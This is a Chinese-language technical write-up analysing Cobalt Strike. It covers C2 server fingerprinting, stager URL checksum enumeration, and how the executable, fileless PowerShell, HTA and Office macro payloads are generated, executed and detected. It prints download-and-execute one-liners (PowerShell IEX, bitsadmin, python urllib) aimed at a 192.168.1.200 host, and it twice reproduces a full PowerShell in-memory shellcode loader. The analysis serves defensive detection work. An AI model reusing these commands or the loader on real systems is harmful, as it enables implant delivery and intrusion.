对CobaltStrike的简单分析

前言

记录一下CobaltStrike的分析过程。

Infrastructure Construction

Cert

1
ssl.cert.serial:146473198

image-20220307185125061

Port

1
hash:-2007783223 port:50050

image-20220307190300442

Protocol

1
ssl.jarm:07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2

image-20220307191709668

Stager

CobaltStrike 的 Beacon 生成分为两种,Stager Beacon 和 Stage/Stageless Beacon。
其中,Stager Beacon 是分阶段的,其先是一段很简单的加载器,作用是向C2 Server 请求payload。

C2 Server 在生成payload的url的过程存在可猜解性,可以被穷举,从而被暴露。

生成url的过程:

1、从大小写字母+数字的字符数组中随机指定长度的字符序列。

2、调用checksum8函数计算字符序列的ASCII和与256的模是否等于固定值92L或93L。

3、如果符合条件则生成stager的url。

image-20220307195128474

image-20220307195107226

C2 Server 对请求url的验证过程:

1、当控制端生成stager时,调用MSFURI()生成请求URI,再把生成的URI写入stager。

2、WebServer中的serve函数收到Stager的请求报文时,调用isStager/isStager64函数验证传入的URI。

3、isStager/isStager64函数经过checksum8函数的计算后,结果等于92或者93就会返回payload文件信息。

image-20220307195346614

穷举检测的过程:

image-20220307195645582

image-20220307195721592

工具1

工具2

Beacon

1
Cobalt Strike Beacon

image-20220307193625388

未授权访问:

image-20220313230531290

image-20220310151128989

未对反斜杠做校验,导致通过构造请求即可获取到beacon.dll

image-20220310151140894

image-20220310151151526

Login

客户端和服务端在进行密码校验的时候,当密码正确会出现51966,错误则为00000

image-20220308122148082

image-20220308122209403

将51966转换一下作为搜索语法

image-20220307193839711

1
response:"\\x00\\x00\\xca\\xfe"

image-20220307193950245

1
response:"\\x00\\x00\\x00\\x00" +port:"50050" +service:"ssl"

image-20220307194038054

Initial Access

Windows Executable

Windows Executable 功能会生成一个 Windows 可执行的分阶段的Artifact,用于传送一个 payload stager。

1、生成过程

image-20220308175327111

该函数作用是读取resources目录下的文件,定位到1024个A的位置,然后将shellcode与数组进行异或加密等操作,最后将各种所有数据替换填入可执行文件。

image-20220308183330964

1
"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

这段字符串是 EICAR(欧洲计算机防病毒研究所)开发的一种测试代码,用于测试设备的防病毒能力。一旦某个文件包含或者流量中包含这段代码,就会被大部分杀软和流量检测设备检测到并发出告警。一般使用的cobaltstrike都经过破解,所以不会在文件中出现该特征。

生成的可执行文件前后的对比

image-20220308183940229

2、执行过程

静态分析:

image-20220308205237810

通过sprintf函数拼接命名管道pipe 服务端的字符串,对sub_4016D3函数创建线程。

image-20220308214810395

连续跟进线程区域代码,主要是对命名管道做创建名称、连接、写入和关闭操作。

image-20220308215035375

返回sub_4017A2函数,连续跟进后,申请内存,并对payload进行异或解密操作,创建线程写入到内存中,最后指向开始执行的地址。

image-20220308215225184

命名管道

动态调试:

未写入payload前的内存区块

image-20220308221642127

写入payload后的内存区块,并进行了异或解密

image-20220308221738608

进入payload地址,对shellcode进行分析

image-20220308222141599

步进到2008F,通过堆栈窗口可以看到LoadlibraryA的api hash 和参数wininet。判断该处为加载wininet.dll

image-20220309001442190

参考

3、检测过程

网络:首先开始向c2 server 发起stager url 请求,在建立连接后,传输异或加密的Beacon.dll

image-20220309123619020

image-20220309123810761

image-20220310135033306

image-20220310135046352

image-20220310135104129

image-20220310135123756

函数导入表:

image-20220309134539601

image-20220309134909937

API Hash:

image-20220309134629729

image-20220309134711587

1
2
3
4
5
6
7
8
9
10
11
12
LoadLibraryA:0x0726774c
InternetOpenA:0xa779563a
InternetConnectA:0xc69f8957
HttpOpenRequestA:0x3b2e55eb
InternetSetOptionA:0x869e4675
HttpSendRequestA:0x7b18062d
GetLastError:0x5de2c5aa
GetDesktopWindow:0x315e2145
InternetErrorDlg:0x0be057b7
ExitProcess:0x56a2b5f0
VirtualAlloc:0xe553a458
InternetReadFile:0xe2899612

参考

内存:可以看到明显的pe结构

image-20220309123409939

命名管道:

image-20220313035526989

image-20220313035538634

image-20220313035552899

Windows Executable(S)

Windows Executable (S)功能会生成一个 Windows 可执行的无阶段的Artifact,直接和监听器连接、传输数据和命令。

1、生成过程

beacon的生成:

选择listener和payload

image-20220311004617110

选择Beacon.dll

image-20220311004919918

加载完Beacon.dll后,读取c2拓展文件配置,解析参数后,对Beacon.dll进行处理

image-20220311005204978

在处理的过程,会设置4096个字节,不足用随机字符填充

image-20220311005506294

进行异或加密

image-20220311005748691

最后读取c2拓展文件配置,解析参数后,对PE结构进行处理

image-20220311010426316

image-20220311010502443

loader的生成:

读取beacon.dll,随机一个数值,对Beacon 进行异或加密,定位到1024个A的位置进行填充替换。

image-20220311010851399

2、执行过程

静态分析

image-20220311013403021

创建命名管道

image-20220311013504183

操作命名管道

image-20220311013552881

分配内存区块,对数据进行异或解密

image-20220311013615066

动态分析:

创建命名管道

image-20220311022921448

异或解密成功后的beacon.dll

image-20220311015109813

image-20220311015609366

3、检测过程

异或特征:

image-20220311005748691

image-20220311162955621

image-20220311170012775

image-20220311163601596

image-20220311163624061

在生成beacon.dll 的时候,要依赖一些模板dll的,如果进行改造除了修改改特征外,还需要对dll进行解密、反编译和修改,再重写进行加密。

网络:

image-20220311132501147

image-20220311132532094

函数导入表:

image-20220311132155375

image-20220311132108224

内存:把内存导出,然后加载到ida进行静态分析

image-20220311134725377

image-20220311134806998

Scripted Web Delivery (S)

scripted-web-delivery(s)会生成一个无阶段的 Beacon payload Artifact,在 cobaltstrike 的web服务器上托管,
并提供一个单行来下载和运行Artifact。该过程也称”无文件落地攻击”。
“无文件落地攻击”是指恶意程序文件不直接落地到目标系统的磁盘空间中的一种攻击手法,常用于逃避传统的安全检测机制。

1
2
3
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.200:80/a'))"
cmd.exe /c bitsadmin /transfer 4c79 http://192.168.1.200:80/b %APPDATA%\4c79.exe&%APPDATA%\4c79.exe&del %APPDATA%\4c79.exe
python -c "import urllib2; exec urllib2.urlopen('http://192.168.1.200:80/c').read();"

1、生成过程

生成攻击连接

image-20220310003547887

生成托管脚本

image-20220310023310614

image-20220310023715150

image-20220310024125073

2、分析过程

访问url,即可看到脚本代码。

image-20220310003927713

大概框架为:

1
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("数据"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

解码内容

image-20220310012837716

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('数据')

for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}

工具

利用解码出来的powershell脚本进行异或解密

1
2
3
4
5
6
[Byte[]]$var_code = [System.Convert]::FromBase64String('数据')

for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\data.txt", $var_code)

可以看到这是明显的pe结构

image-20220310020124671

综上可以判断,cobaltstrike的无文件落地攻击方式,是在c2 server 上托管一份特定的脚本,该份特定的脚本内含已加密加码的beacon.dll,其功能是将恶意的beacon.dll加载到内存中并执行。

当攻击进行时,攻击者会利用如powershell等系统特有的可执行程序发起网络连接,下载并执行该份托管的脚本。

3、检测过程

网络:

image-20220309210813243

image-20220309210948612

image-20220310125721481

image-20220310125740318

默认拓展文件下会选择一个url片段

image-20220310130019683

进程:

image-20220309210429562

image-20220310025907279

日志:

image-20220310025843401

image-20220309205556009

函数导入表

image-20220310030656658

HTML Application

hta是HTML-Application缩写,直接将某个html页面保存成hta的格式。

就是一个独立的应用软件,点开与网页内容并无区别,界面与VB、C++等程序语言所设计的软件界面没什么差别,显示为窗口交互界面。

但是HTA虽然用HTML、JS和CSS编写,权限却比普通网页大得多,能够读写文件、操作注册表等。

依赖于mshta.exe解析,而mshta.exe是系统下自带的。

简单的来讲HTA是个披着web外衣的exe应用程序。

cobaltstrike生成一个HTML应用hta,该应用中嵌入了一个payload stager,通过URL下载payload到目标磁盘。运行后目标主机便可以返回会话给CS服务器。

1、生成过程

image-20220310120347884

image-20220310124448239

2、分析过程

image-20220310130845426

2、分析过程

1
powershell.exe -nop -w hidden -encodedcommand 数据

image-20220310133027507

1
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("数据"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

image-20220310133239056

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('数据')

for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}

image-20220310133539372

image-20220310133746033

这是hta 下,经过一次网络请求获得的经过了两次加密编码后的stager payload ,它作用是到c2 server 拉取beacon.dll 回来加载到内存中执行。

3、检测过程

网络:

image-20220310132217596

image-20220310132241082

image-20220310132304499

进程:

image-20220310131047863

image-20220310131100707

日志:

image-20220310130823919

image-20220310130845426

image-20220310131020298

MS Office Macro

宏是一个批量处理程序命令,正确地运用它可以提高工作效率。微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力。

1、生成过程

image-20220310144644305

image-20220310144555219

image-20220310145628231

image-20220310145225994

2、分析过程

image-20220310153227516

从vba的代码上看,大概功能是创建线程和申请内存,同时通过rundll32.exe加载加密内容。

image-20220310154440280

image-20220310154545833

image-20220310161433958

通过宏调试,获取到其加载地址,589824

image-20220310163554491

589824转换后是0x9000

image-20220310163743024

定位到rundll32.exe的进程,找到0x9000地址的内存信息,确定其为stager payload的信息。

image-20220310164115060

dump下来该段内存信息,载入ida进行静态分析

image-20220310165247197

3、检测过程

网络:

image-20220310162026284

image-20220310162049163

进程:

image-20220310162129217

image-20220310162153437

image-20220310162212253

日志:

image-20220310162306252

内存:

image-20220310164115060

image-20220310165219757

cobaltstrike 的宏攻击的过程是点击开启了宏的样本后,office程序会通过rundll32.exe加载stager payload ,stager到c2 server 拉取beacon.dll 加载执行。

Post Exploitation

Execution

在执行阶段,根据cobaltstrike的执行方式不同,可以分为3类。

第一类:如shell和powershell

1、执行方式

检测到任务后,直接构建提交,但在执行的时候调用cmd.exe或者powershell.exe 进行命令执行

image-20220312214202785

2、主机情况

beacon.exe -> cmd.exe/powershell.exe -> whoami.exe -> 命令执行

cmd.exe

image-20220312214539542

powershell.exe

image-20220313034733158

image-20220313034746367

image-20220313034757316

第二类:如run和execute

1、执行方式

检测到任务后,直接构建提交,直接执行

image-20220312214744822

image-20220312214804636

2、主机情况

beacon.exe -> 命令执行

image-20220312214957532

image-20220312215009279

第三类:powerpick、portscan

1、执行方式

检测到任务后,构建构建任务,提交任务,在执行的过程加载rundll32.exe,注入dll,然后通过命名管道与服务端进行通信。

发布任务

image-20220313032021427

image-20220312215750582

构建任务

image-20220312215818134

提交任务

image-20220312215836771

2、主机情况

beacon.exe -> rundll32.exe -> beacon.dll -> 命令执行

image-20220312215928379

image-20220312215950878

image-20220312220007574

Process Inject

进程注入是一种在独立的活动进程的地址空间中执行任意代码的方法。

在另一个进程的上下文中运行代码,会允许访问该进程的内存、系统资源、网络资源以及可能的特权提升。

由于执行的代码由合法的程序代理执行,因此通过进程注入执行也可能会绕过部分安全产品的防病毒检测或进程白名单检测。

进程注入是一种广泛使用的躲避检测的技术,通常用于恶意软件或者无文件技术。

其需要在另一个进程的地址空间内运行特制代码,进程注入改善了不可见性,同时一些技术也实现了持久性。

参考

1、代码实现:

获取进程id、架构类型、监听器等信息,然后构建任务提交执行

image-20220313212047756

2、执行过程:

image-20220313212205965

3、检测过程:

日志

image-20220313212229657

内存

image-20220313212334741

image-20220313212345875

Credential Access

1、代码实现

image-20220313235609209

image-20220313235633187

2、执行过程

image-20220313235810994

3、检测过程

日志:•beacon.exe -> rundll32.exe -> beacon.dll -> lsass.exe

image-20220313235844333

image-20220313235939201